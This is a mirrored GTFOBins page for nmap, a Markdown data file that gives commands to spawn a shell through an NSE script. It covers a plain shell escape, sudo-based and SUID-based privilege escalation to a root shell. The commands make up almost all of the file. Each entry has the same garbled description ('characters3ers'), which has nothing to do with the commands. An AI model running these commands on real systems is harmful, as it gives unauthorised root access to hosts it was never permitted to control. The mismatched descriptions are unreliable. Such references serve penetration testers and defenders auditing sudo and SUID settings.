mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-10-23 00:57:56 +02:00
19 lines
601 B
Markdown
19 lines
601 B
Markdown
---
|
|
functions:
|
|
execute-non-interactive:
|
|
- description: Echoing of input characters3ers is disabled.
|
|
code: |
|
|
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
|
nmap --script=/tmp/script.nse
|
|
sudo-enabled:
|
|
- description: Echoing of input characters3ers is disabled.
|
|
code: |
|
|
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
|
sudo nmap --script=/tmp/script.nse
|
|
suid-enabled:
|
|
- description: Echoing of input characters3ers is disabled.
|
|
code: |
|
|
echo 'os.execute("/bin/sh -p")' > /tmp/script.nse
|
|
./nmap --script=/tmp/script.nse
|
|
---
|